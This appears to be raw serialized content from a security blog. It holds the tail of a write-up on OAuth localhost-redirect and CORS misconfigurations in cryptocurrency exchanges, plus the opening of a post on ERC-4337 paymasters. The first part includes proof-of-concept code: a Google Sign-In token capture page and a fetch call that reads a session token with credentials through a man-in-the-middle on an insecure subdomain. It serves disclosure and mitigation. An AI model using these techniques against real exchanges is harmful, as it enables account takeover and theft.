holder":16},[107851],{"type":29,"value":327},{"type":24,"tag":271,"props":107853,"children":107854},{"class":273,"line":420},[107855,107859,107863,107867],{"type":24,"tag":271,"props":107856,"children":107857},{"style":278},[107858],{"type":29,"value":77571},{"type":24,"tag":271,"props":107860,"children":107861},{"style":278},[107862],{"type":29,"value":13924},{"type":24,"tag":271,"props":107864,"children":107865},{"style":598},[107866],{"type":29,"value":77580},{"type":24,"tag":271,"props":107868,"children":107869},{"style":288},[107870],{"type":29,"value":23434},{"type":24,"tag":271,"props":107872,"children":107873},{"class":273,"line":429},[107874,107878,107882,107886,107890],{"type":24,"tag":271,"props":107875,"children":107876},{"style":598},[107877],{"type":29,"value":77592},{"type":24,"tag":271,"props":107879,"children":107880},{"style":288},[107881],{"type":29,"value":77597},{"type":24,"tag":271,"props":107883,"children":107884},{"style":624},[107885],{"type":29,"value":762},{"type":24,"tag":271,"props":107887,"children":107888},{"style":477},[107889],{"type":29,"value":77606},{"type":24,"tag":271,"props":107891,"children":107892},{"style":288},[107893],{"type":29,"value":919},{"type":24,"tag":271,"props":107895,"children":107896},{"class":273,"line":438},[107897,107901],{"type":24,"tag":271,"props":107898,"children":107899},{"style":598},[107900],{"type":29,"value":77618},{"type":24,"tag":271,"props":107902,"children":107903},{"style":288},[107904],{"type":29,"value":7145},{"type":24,"tag":271,"props":107906,"children":107907},{"class":273,"line":447},[107908,107912,107916,107920],{"type":24,"tag":271,"props":107909,"children":107910},{"style":278},[107911],{"type":29,"value":77630},{"type":24,"tag":271,"props":107913,"children":107914},{"style":288},[107915],{"type":29,"value":606},{"type":24,"tag":271,"props":107917,"children":107918},{"style":378},[107919],{"type":29,"value":77639},{"type":24,"tag":271,"props":107921,"children":107922},{"style":288},[107923],{"type":29,"value":919},{"type":24,"tag":271,"props":107925,"children":107926},{"class":273,"line":455},[107927,107931,107935],{"type":24,"tag":271,"props":107928,"children":107929},{"style":288},[107930],{"type":29,"value":77651},{"type":24,"tag":271,"props":107932,"children":107933},{"style":598},[107934],{"type":29,"value":77656},{"type":24,"tag":271,"props":107936,"children":107937},{"style":288},[107938],{"type":29,"value":7145},{"type":24,"tag":271,"props":107940,"children":107941},{"class":273,"line":464},[107942,107946],{"type":24,"tag":271,"props":107943,"children":107944},{"style":598},[107945],{"type":29,"value":77668},{"type":24,"tag":271,"props":107947,"children":107948},{"style":288},[107949],{"type":29,"value":7145},{"type":24,"tag":271,"props":107951,"children":107952},{"class":273,"line":473},[107953,107957,107961,107966],{"type":24,"tag":271,"props":107954,"children":107955},{"style":598},[107956],{"type":29,"value":77745},{"type":24,"tag":271,"props":107958,"children":107959},{"style":288},[107960],{"type":29,"value":606},{"type":24,"tag":271,"props":107962,"children":107963},{"style":378},[107964],{"type":29,"value":107965},"\"Test\"",{"type":24,"tag":271,"props":107967,"children":107968},{"style":288},[107969],{"type":29,"value":694},{"type":24,"tag":271,"props":107971,"children":107972},{"class":273,"line":483},[107973,107977],{"type":24,"tag":271,"props":107974,"children":107975},{"style":598},[107976],{"type":29,"value":77811},{"type":24,"tag":271,"props":107978,"children":107979},{"style":288},[107980],{"type":29,"value":7145},{"type":24,"tag":271,"props":107982,"children":107983},{"class":273,"line":491},[107984,107989,107993],{"type":24,"tag":271,"props":107985,"children":107986},{"style":288},[107987],{"type":29,"value":107988}," src ",{"type":24,"tag":271,"props":107990,"children":107991},{"style":624},[107992],{"type":29,"value":762},{"type":24,"tag":271,"props":107994,"children":107995},{"style":378},[107996],{"type":29,"value":107997}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":271,"props":107999,"children":108000},{"class":273,"line":499},[108001,108006,108011,108015,108019],{"type":24,"tag":271,"props":108002,"children":108003},{"style":288},[108004],{"type":29,"value":108005}," attributes[",{"type":24,"tag":271,"props":108007,"children":108008},{"style":378},[108009],{"type":29,"value":108010},"\"async\"",{"type":24,"tag":271,"props":108012,"children":108013},{"style":288},[108014],{"type":29,"value":4530},{"type":24,"tag":271,"props":108016,"children":108017},{"style":624},[108018],{"type":29,"value":762},{"type":24,"tag":271,"props":108020,"children":108021},{"style":378},[108022],{"type":29,"value":108023}," \"\"\n",{"type":24,"tag":271,"props":108025,"children":108026},{"class":273,"line":3188},[108027,108031,108036,108040,108044],{"type":24,"tag":271,"props":108028,"children":108029},{"style":288},[108030],{"type":29,"value":108005},{"type":24,"tag":271,"props":108032,"children":108033},{"style":378},[108034],{"type":29,"value":108035},"\"defer\"",{"type":24,"tag":271,"props":108037,"children":108038},{"style":288},[108039],{"type":29,"value":4530},{"type":24,"tag":271,"props":108041,"children":108042},{"style":624},[108043],{"type":29,"value":762},{"type":24,"tag":271,"props":108045,"children":108046},{"style":378},[108047],{"type":29,"value":108023},{"type":24,"tag":271,"props":108049,"children":108050},{"class":273,"line":3247},[108051],{"type":24,"tag":271,"props":108052,"children":108053},{"style":288},[108054],{"type":29,"value":77836},{"type":24,"tag":271,"props":108056,"children":108057},{"class":273,"line":3255},[108058,108062],{"type":24,"tag":271,"props":108059,"children":108060},{"style":598},[108061],{"type":29,"value":77811},{"type":24,"tag":271,"props":108063,"children":108064},{"style":288},[108065],{"type":29,"value":7145},{"type":24,"tag":271,"props":108067,"children":108068},{"class":273,"line":3263},[108069,108074],{"type":24,"tag":271,"props":108070,"children":108071},{"style":598},[108072],{"type":29,"value":108073}," unsafe",{"type":24,"tag":271,"props":108075,"children":108076},{"style":288},[108077],{"type":29,"value":7145},{"type":24,"tag":271,"props":108079,"children":108080},{"class":273,"line":3293},[108081,108086],{"type":24,"tag":271,"props":108082,"children":108083},{"style":624},[108084],{"type":29,"value":108085}," +",{"type":24,"tag":271,"props":108087,"children":108088},{"style":378},[108089],{"type":29,"value":108090},"\"\"\"\n",{"type":24,"tag":271,"props":108092,"children":108093},{"class":273,"line":3301},[108094],{"type":24,"tag":271,"props":108095,"children":108096},{"style":378},[108097],{"type":29,"value":108098}," function handleCredentialResponse(response) {\n",{"type":24,"tag":271,"props":108100,"children":108101},{"class":273,"line":3683},[108102],{"type":24,"tag":271,"props":108103,"children":108104},{"style":378},[108105],{"type":29,"value":108106}," alert(\"credential: \" + response.credential);\n",{"type":24,"tag":271,"props":108108,"children":108109},{"class":273,"line":4486},[108110],{"type":24,"tag":271,"props":108111,"children":108112},{"style":378},[108113],{"type":29,"value":4385},{"type":24,"tag":271,"props":108115,"children":108116},{"class":273,"line":4509},[108117],{"type":24,"tag":271,"props":108118,"children":108119},{"emptyLinePlaceholder":16},[108120],{"type":29,"value":327},{"type":24,"tag":271,"props":108122,"children":108123},{"class":273,"line":4545},[108124],{"type":24,"tag":271,"props":108125,"children":108126},{"style":378},[108127],{"type":29,"value":108128}," window.onload = async function () {\n",{"type":24,"tag":271,"props":108130,"children":108131},{"class":273,"line":4591},[108132],{"type":24,"tag":271,"props":108133,"children":108134},{"style":378},[108135],{"type":29,"value":108136}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":271,"props":108138,"children":108139},{"class":273,"line":4628},[108140],{"type":24,"tag":271,"props":108141,"children":108142},{"style":378},[108143],{"type":29,"value":108144}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":271,"props":108146,"children":108147},{"class":273,"line":4658},[108148],{"type":24,"tag":271,"props":108149,"children":108150},{"style":378},[108151],{"type":29,"value":108152}," google.accounts.id.initialize({\n",{"type":24,"tag":271,"props":108154,"children":108155},{"class":273,"line":4666},[108156],{"type":24,"tag":271,"props":108157,"children":108158},{"style":378},[108159],{"type":29,"value":108160}," client_id: client_id,\n",{"type":24,"tag":271,"props":108162,"children":108163},{"class":273,"line":4674},[108164],{"type":24,"tag":271,"props":108165,"children":108166},{"style":378},[108167],{"type":29,"value":108168}," callback: handleCredentialResponse,\n",{"type":24,"tag":271,"props":108170,"children":108171},{"class":273,"line":4683},[108172],{"type":24,"tag":271,"props":108173,"children":108174},{"style":378},[108175],{"type":29,"value":108176}," auto_select: true\n",{"type":24,"tag":271,"props":108178,"children":108179},{"class":273,"line":4691},[108180],{"type":24,"tag":271,"props":108181,"children":108182},{"style":378},[108183],{"type":29,"value":15012},{"type":24,"tag":271,"props":108185,"children":108186},{"class":273,"line":4708},[108187],{"type":24,"tag":271,"props":108188,"children":108189},{"emptyLinePlaceholder":16},[108190],{"type":29,"value":327},{"type":24,"tag":271,"props":108192,"children":108193},{"class":273,"line":4716},[108194],{"type":24,"tag":271,"props":108195,"children":108196},{"style":378},[108197],{"type":29,"value":108198}," google.accounts.id.renderButton(\n",{"type":24,"tag":271,"props":108200,"children":108201},{"class":273,"line":10423},[108202],{"type":24,"tag":271,"props":108203,"children":108204},{"style":378},[108205],{"type":29,"value":108206}," document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":271,"props":108208,"children":108209},{"class":273,"line":10431},[108210],{"type":24,"tag":271,"props":108211,"children":108212},{"style":378},[108213],{"type":29,"value":108214}," { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":271,"props":108216,"children":108217},{"class":273,"line":10439},[108218],{"type":24,"tag":271,"props":108219,"children":108220},{"style":378},[108221],{"type":29,"value":14483},{"type":24,"tag":271,"props":108223,"children":108224},{"class":273,"line":10447},[108225],{"type":24,"tag":271,"props":108226,"children":108227},{"emptyLinePlaceholder":16},[108228],{"type":29,"value":327},{"type":24,"tag":271,"props":108230,"children":108231},{"class":273,"line":10468},[108232],{"type":24,"tag":271,"props":108233,"children":108234},{"style":378},[108235],{"type":29,"value":108236}," google.accounts.id.prompt();\n",{"type":24,"tag":271,"props":108238,"children":108239},{"class":273,"line":39951},[108240],{"type":24,"tag":271,"props":108241,"children":108242},{"style":378},[108243],{"type":29,"value":46665},{"type":24,"tag":271,"props":108245,"children":108246},{"class":273,"line":39972},[108247,108252,108256,108261],{"type":24,"tag":271,"props":108248,"children":108249},{"style":378},[108250],{"type":29,"value":108251}," \"\"\"",{"type":24,"tag":271,"props":108253,"children":108254},{"style":288},[108255],{"type":29,"value":41},{"type":24,"tag":271,"props":108257,"children":108258},{"style":598},[108259],{"type":29,"value":108260},"trimIndent",{"type":24,"tag":271,"props":108262,"children":108263},{"style":288},[108264],{"type":29,"value":15452},{"type":24,"tag":271,"props":108266,"children":108267},{"class":273,"line":87741},[108268],{"type":24,"tag":271,"props":108269,"children":108270},{"style":288},[108271],{"type":29,"value":108272}," }\n",{"type":24,"tag":271,"props":108274,"children":108275},{"class":273,"line":87754},[108276],{"type":24,"tag":271,"props":108277,"children":108278},{"style":288},[108279],{"type":29,"value":77836},{"type":24,"tag":271,"props":108281,"children":108282},{"class":273,"line":87762},[108283],{"type":24,"tag":271,"props":108284,"children":108285},{"style":288},[108286],{"type":29,"value":77766},{"type":24,"tag":271,"props":108288,"children":108289},{"class":273,"line":87770},[108290,108294],{"type":24,"tag":271,"props":108291,"children":108292},{"style":598},[108293],{"type":29,"value":77774},{"type":24,"tag":271,"props":108295,"children":108296},{"style":288},[108297],{"type":29,"value":7145},{"type":24,"tag":271,"props":108299,"children":108300},{"class":273,"line":87778},[108301,108305,108309,108313,108318],{"type":24,"tag":271,"props":108302,"children":108303},{"style":598},[108304],{"type":29,"value":77786},{"type":24,"tag":271,"props":108306,"children":108307},{"style":288},[108308],{"type":29,"value":17293},{"type":24,"tag":271,"props":108310,"children":108311},{"style":624},[108312],{"type":29,"value":1012},{"type":24,"tag":271,"props":108314,"children":108315},{"style":378},[108316],{"type":29,"value":108317},"\"Login here:\"",{"type":24,"tag":271,"props":108319,"children":108320},{"style":288},[108321],{"type":29,"value":1163},{"type":24,"tag":271,"props":108323,"children":108324},{"class":273,"line":87818},[108325,108330],{"type":24,"tag":271,"props":108326,"children":108327},{"style":598},[108328],{"type":29,"value":108329}," div",{"type":24,"tag":271,"props":108331,"children":108332},{"style":288},[108333],{"type":29,"value":7145},{"type":24,"tag":271,"props":108335,"children":108336},{"class":273,"line":87826},[108337,108342,108346],{"type":24,"tag":271,"props":108338,"children":108339},{"style":288},[108340],{"type":29,"value":108341}," id ",{"type":24,"tag":271,"props":108343,"children":108344},{"style":624},[108345],{"type":29,"value":762},{"type":24,"tag":271,"props":108347,"children":108348},{"style":378},[108349],{"type":29,"value":108350}," \"g_id_signin\"\n",{"type":24,"tag":271,"props":108352,"children":108353},{"class":273,"line":95013},[108354],{"type":24,"tag":271,"props":108355,"children":108356},{"style":288},[108357],{"type":29,"value":77836},{"type":24,"tag":271,"props":108359,"children":108360},{"class":273,"line":95021},[108361],{"type":24,"tag":271,"props":108362,"children":108363},{"style":288},[108364],{"type":29,"value":77766},{"type":24,"tag":271,"props":108366,"children":108368},{"class":273,"line":108367},62,[108369],{"type":24,"tag":271,"props":108370,"children":108371},{"style":288},[108372],{"type":29,"value":77851},{"type":24,"tag":271,"props":108374,"children":108376},{"class":273,"line":108375},63,[108377],{"type":24,"tag":271,"props":108378,"children":108379},{"style":288},[108380],{"type":29,"value":77859},{"type":24,"tag":271,"props":108382,"children":108384},{"class":273,"line":108383},64,[108385],{"type":24,"tag":271,"props":108386,"children":108387},{"style":288},[108388],{"type":29,"value":8554},{"type":24,"tag":271,"props":108390,"children":108392},{"class":273,"line":108391},65,[108393,108397,108401,108405,108409,108413],{"type":24,"tag":271,"props":108394,"children":108395},{"style":288},[108396],{"type":29,"value":77874},{"type":24,"tag":271,"props":108398,"children":108399},{"style":598},[108400],{"type":29,"value":77879},{"type":24,"tag":271,"props":108402,"children":108403},{"style":288},[108404],{"type":29,"value":77884},{"type":24,"tag":271,"props":108406,"children":108407},{"style":624},[108408],{"type":29,"value":762},{"type":24,"tag":271,"props":108410,"children":108411},{"style":278},[108412],{"type":29,"value":1717},{"type":24,"tag":271,"props":108414,"children":108415},{"style":288},[108416],{"type":29,"value":694},{"type":24,"tag":271,"props":108418,"children":108420},{"class":273,"line":108419},66,[108421],{"type":24,"tag":271,"props":108422,"children":108423},{"style":288},[108424],{"type":29,"value":4385},{"type":24,"tag":25,"props":108426,"children":108427},{},[108428],{"type":29,"value":108429},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":108431,"children":108432},{},[108433],{"type":29,"value":108434},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":85,"props":108436,"children":108438},{"id":108437},"how-to-mitigate",[108439],{"type":29,"value":108440},"How to Mitigate",{"type":24,"tag":25,"props":108442,"children":108443},{},[108444],{"type":29,"value":108445},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":62,"props":108447,"children":108449},{"id":108448},"exploiting-cors",[108450],{"type":29,"value":108451},"Exploiting CORS",{"type":24,"tag":25,"props":108453,"children":108454},{},[108455],{"type":29,"value":108456},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":108458,"children":108459},{},[108460,108462,108468],{"type":29,"value":108461},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":135,"props":108463,"children":108465},{"className":108464},[],[108466],{"type":29,"value":108467},"http://",{"type":29,"value":108469}," schema for any subdomain:",{"type":24,"tag":261,"props":108471,"children":108475},{"className":108472,"code":108473,"language":108474,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[108476],{"type":24,"tag":135,"props":108477,"children":108478},{"__ignoreMap":7},[108479,108487,108495,108503],{"type":24,"tag":271,"props":108480,"children":108481},{"class":273,"line":274},[108482],{"type":24,"tag":271,"props":108483,"children":108484},{},[108485],{"type":29,"value":108486},"HTTP 200 OK\n",{"type":24,"tag":271,"props":108488,"children":108489},{"class":273,"line":284},[108490],{"type":24,"tag":271,"props":108491,"children":108492},{},[108493],{"type":29,"value":108494},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":271,"props":108496,"children":108497},{"class":273,"line":294},[108498],{"type":24,"tag":271,"props":108499,"children":108500},{},[108501],{"type":29,"value":108502},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":271,"props":108504,"children":108505},{"class":273,"line":303},[108506],{"type":24,"tag":271,"props":108507,"children":108508},{},[108509],{"type":29,"value":1690},{"type":24,"tag":85,"props":108511,"children":108513},{"id":108512},"cors-misconfiguration-by-lack-of-tls",[108514],{"type":29,"value":108515},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":108517,"children":108518},{},[108519,108521,108527],{"type":29,"value":108520},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":135,"props":108522,"children":108524},{"className":108523},[],[108525],{"type":29,"value":108526},"exchange.com",{"type":29,"value":108528}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":108530,"children":108531},{},[108532],{"type":29,"value":108533},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":97,"props":108535,"children":108536},{},[108537,108557],{"type":24,"tag":101,"props":108538,"children":108539},{},[108540,108542,108547,108549,108555],{"type":29,"value":108541},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":135,"props":108543,"children":108545},{"className":108544},[],[108546],{"type":29,"value":108467},{"type":29,"value":108548}," --> ",{"type":24,"tag":135,"props":108550,"children":108552},{"className":108551},[],[108553],{"type":29,"value":108554},"https://",{"type":29,"value":108556}," requests, even if same-site",{"type":24,"tag":101,"props":108558,"children":108559},{},[108560,108562],{"type":29,"value":108561},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":135,"props":108563,"children":108565},{"className":108564},[],[108566],{"type":29,"value":45433},{"type":24,"tag":85,"props":108568,"children":108570},{"id":108569},"exploit-1",[108571],{"type":29,"value":106901},{"type":24,"tag":25,"props":108573,"children":108574},{},[108575],{"type":29,"value":108576},"To exploit it, we must follow some steps:",{"type":24,"tag":3834,"props":108578,"children":108579},{},[108580,108585,108590],{"type":24,"tag":101,"props":108581,"children":108582},{},[108583],{"type":29,"value":108584},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":101,"props":108586,"children":108587},{},[108588],{"type":29,"value":108589},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":101,"props":108591,"children":108592},{},[108593,108595,108600],{"type":29,"value":108594},"Use ",{"type":24,"tag":135,"props":108596,"children":108598},{"className":108597},[],[108599],{"type":29,"value":45433},{"type":29,"value":108601}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":108603,"children":108604},{},[108605],{"type":29,"value":108606},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":108608,"children":108609},{},[108610,108612,108617],{"type":29,"value":108611},"Once the redirect to the ",{"type":24,"tag":135,"props":108613,"children":108615},{"className":108614},[],[108616],{"type":29,"value":108467},{"type":29,"value":108618}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":261,"props":108620,"children":108622},{"className":39038,"code":108621,"language":39040,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[108623],{"type":24,"tag":135,"props":108624,"children":108625},{"__ignoreMap":7},[108626,108649,108686,108703,108720,108727,108768],{"type":24,"tag":271,"props":108627,"children":108628},{"class":273,"line":274},[108629,108633,108637,108641,108645],{"type":24,"tag":271,"props":108630,"children":108631},{"style":288},[108632],{"type":29,"value":606},{"type":24,"tag":271,"props":108634,"children":108635},{"style":278},[108636],{"type":29,"value":43813},{"type":24,"tag":271,"props":108638,"children":108639},{"style":288},[108640],{"type":29,"value":47364},{"type":24,"tag":271,"props":108642,"children":108643},{"style":278},[108644],{"type":29,"value":22519},{"type":24,"tag":271,"props":108646,"children":108647},{"style":288},[108648],{"type":29,"value":7145},{"type":24,"tag":271,"props":108650,"children":108651},{"class":273,"line":284},[108652,108656,108661,108665,108669,108673,108677,108682],{"type":24,"tag":271,"props":108653,"children":108654},{"style":278},[108655],{"type":29,"value":15571},{"type":24,"tag":271,"props":108657,"children":108658},{"style":630},[108659],{"type":29,"value":108660}," res",{"type":24,"tag":271,"props":108662,"children":108663},{"style":624},[108664],{"type":29,"value":1712},{"type":24,"tag":271,"props":108666,"children":108667},{"style":749},[108668],{"type":29,"value":43879},{"type":24,"tag":271,"props":108670,"children":108671},{"style":598},[108672],{"type":29,"value":40599},{"type":24,"tag":271,"props":108674,"children":108675},{"style":288},[108676],{"type":29,"value":606},{"type":24,"tag":271,"props":108678,"children":108679},{"style":378},[108680],{"type":29,"value":108681},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":271,"props":108683,"children":108684},{"style":288},[108685],{"type":29,"value":56547},{"type":24,"tag":271,"props":108687,"children":108688},{"class":273,"line":294},[108689,108694,108699],{"type":24,"tag":271,"props":108690,"children":108691},{"style":630},[108692],{"type":29,"value":108693}," credentials:",{"type":24,"tag":271,"props":108695,"children":108696},{"style":378},[108697],{"type":29,"value":108698}," 'include'",{"type":24,"tag":271,"props":108700,"children":108701},{"style":288},[108702],{"type":29,"value":638},{"type":24,"tag":271,"props":108704,"children":108705},{"class":273,"line":303},[108706,108711,108716],{"type":24,"tag":271,"props":108707,"children":108708},{"style":630},[108709],{"type":29,"value":108710}," method:",{"type":24,"tag":271,"props":108712,"children":108713},{"style":378},[108714],{"type":29,"value":108715}," 'POST'",{"type":24,"tag":271,"props":108717,"children":108718},{"style":288},[108719],{"type":29,"value":638},{"type":24,"tag":271,"props":108721,"children":108722},{"class":273,"line":312},[108723],{"type":24,"tag":271,"props":108724,"children":108725},{"style":288},[108726],{"type":29,"value":104984},{"type":24,"tag":271,"props":108728,"children":108729},{"class":273,"line":321},[108730,108735,108739,108744,108748,108752,108756,108760,108764],{"type":24,"tag":271,"props":108731,"children":108732},{"style":630},[108733],{"type":29,"value":108734}," console",{"type":24,"tag":271,"props":108736,"children":108737},{"style":288},[108738],{"type":29,"value":41},{"type":24,"tag":271,"props":108740,"children":108741},{"style":598},[108742],{"type":29,"value":108743},"log",{"type":24,"tag":271,"props":108745,"children":108746},{"style":288},[108747],{"type":29,"value":606},{"type":24,"tag":271,"props":108749,"children":108750},{"style":749},[108751],{"type":29,"value":40586},{"type":24,"tag":271,"props":108753,"children":108754},{"style":630},[108755],{"type":29,"value":108660},{"type":24,"tag":271,"props":108757,"children":108758},{"style":288},[108759],{"type":29,"value":41},{"type":24,"tag":271,"props":108761,"children":108762},{"style":598},[108763],{"type":29,"value":41666},{"type":24,"tag":271,"props":108765,"children":108766},{"style":288},[108767],{"type":29,"value":23122},{"type":24,"tag":271,"props":108769,"children":108770},{"class":273,"line":330},[108771],{"type":24,"tag":271,"props":108772,"children":108773},{"style":288},[108774],{"type":29,"value":108775},"})();\n",{"type":24,"tag":25,"props":108777,"children":108778},{},[108779],{"type":29,"value":108780},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":85,"props":108782,"children":108783},{"id":48001},[108784],{"type":29,"value":48004},{"type":24,"tag":25,"props":108786,"children":108787},{},[108788,108790,108795],{"type":29,"value":108789},"As mitigation, it is recommended to remove all ",{"type":24,"tag":135,"props":108791,"children":108793},{"className":108792},[],[108794],{"type":29,"value":108467},{"type":29,"value":108796}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":108798,"children":108799},{},[108800],{"type":29,"value":108801},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":62,"props":108803,"children":108804},{"id":10547},[108805],{"type":29,"value":10550},{"type":24,"tag":25,"props":108807,"children":108808},{},[108809],{"type":29,"value":108810},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":108812,"children":108813},{},[108814],{"type":29,"value":108815},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":10562,"props":108817,"children":108818},{},[108819],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":108821},[108822,108827,108832],{"id":106506,"depth":284,"text":106509,"children":108823},[108824,108825,108826],{"id":106517,"depth":294,"text":106520},{"id":106874,"depth":294,"text":106877},{"id":108437,"depth":294,"text":108440},{"id":108448,"depth":284,"text":108451,"children":108828},[108829,108830,108831],{"id":108512,"depth":294,"text":108515},{"id":108569,"depth":294,"text":106901},{"id":48001,"depth":294,"text":48004},{"id":10547,"depth":284,"text":10550},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":108837,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":108838,"description":108839,"date":108840,"author":108841,"image":108842,"isFeatured":16,"onBlogPage":16,"tags":108844,"body":108847,"_type":10599,"_id":114619,"_source":10601,"_file":114620,"_stem":114621,"_extension":10604},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":108843,"width":104058,"height":21324},"/posts/paymasters-evm/title.png",[108845,108846],"evm","ERC-4337",{"type":21,"children":108848,"toc":114598},[108849,108853,108864,108869,108874,108879,108885,108891,108896,108901,108907,108912,108940,108946,108951,108958,108963,108973,108978,109004,109010,109030,109036,109056,109064,109095,109128,109137,109149,109174,109186,109199,109242,109248,109281,109380,109399,109422,109427,109433,109461,109608,109613,109640,109646,109658,109670,109679,109714,109719,111204,111232,111253,111258,111270,111279,111284,111302,111325,111330,111336,111390,111396,111429,111464,112288,112324,112360,112426,112459,112957,113010,113022,113586,113655,113682,114304,114346,114373,114385,114446,114465,114499,114504,114509,114514,114518,114523,114558,114584,114589,114594],{"type":24,"tag":43040,"props":108850,"children":108851},{"id":36692},[108852],{"type":29,"value":36695},{"type":24,"tag":25,"props":108854,"children":108855},{},[108856,108862],{"type":24,"tag":32,"props":108857,"children":108860},{"href":108858,"rel":108859},"https://docs.erc4337.io/",[36],[108861],{"type":29,"value":108846},{"type":29,"value":108863}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":108865,"children":108866},{},[108867],{"type":29,"value":108868},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":108870,"children":108871},{},[108872],{"type":29,"value":108873},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":108875,"children":108876},{},[108877],{"type":29,"value":108878},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":43040,"props":108880,"children":108882},{"id":108881},"erc4337-overview",[108883],{"type":29,"value":108884},"ERC4337 Overview",{"type":24,"tag":62,"props":108886,"children":108888},{"id":108887},"traditional-eoas-vs-smart-contract-wallets",[108889],{"type":29,"value":108890},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":108892,"children":108893},{},[108894],{"type":29,"value":108895},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and 